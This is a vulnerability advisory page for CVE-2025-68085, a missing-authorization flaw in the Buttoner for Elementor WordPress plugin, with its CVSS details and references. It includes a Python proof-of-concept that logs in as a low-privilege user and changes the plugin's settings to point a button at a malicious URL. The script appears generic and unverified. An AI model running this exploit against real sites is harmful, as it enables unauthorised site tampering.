CVE-2025-68085

Description

Missing Authorization vulnerability in merkulove Buttoner for Elementor buttoner-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Buttoner for Elementor: from n/a through <= 1.0.6.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Buttoner for Elementor <= 1.0.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-68085 PoC - Buttoner for Elementor Authorization Bypass
# Authenticated low-privilege user can modify plugin settings

import requests
import re

target_url = "http://target-wordpress-site.com"
username = "attacker"
password = "password123"

# Step 1: Login to get authentication cookie
session = requests.Session()
login_url = f"{target_url}/wp-login.php"
login_data = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In"
}
session.post(login_url, data=login_data)

# Step 2: Get WordPress nonce
admin_url = f"{target_url}/wp-admin/admin.php?page=buttoner-elementor"
response = session.get(admin_url)
nonce = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text)

if nonce:
    nonce_value = nonce.group(1)
    
    # Step 3: Exploit - Update plugin settings without admin privileges
    exploit_url = f"{target_url}/wp-admin/admin-ajax.php"
    exploit_data = {
        "action": "buttoner_save_settings",
        "_wpnonce": nonce_value,
        "buttoner_settings": {
            "button_text": "Malicious Button",
            "button_url": "https://malicious-site.com",
            "button_target": "_blank"
        }
    }
    result = session.post(exploit_url, data=exploit_data)
    print(f"Exploit Response: {result.text}")
else:
    print("Failed to obtain nonce")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68085
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68085
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68085/
[4] VulDB https://vuldb.com/cve/CVE-2025-68085
[5] https://patchstack.com/database/Wordpress/Plugin/buttoner-elementor/vulnerability/wordpress-buttoner-for-elementor-plugin-1-0-6-settings-change-vulnerability?_s_id=cve

Raw JSON Data

JSON

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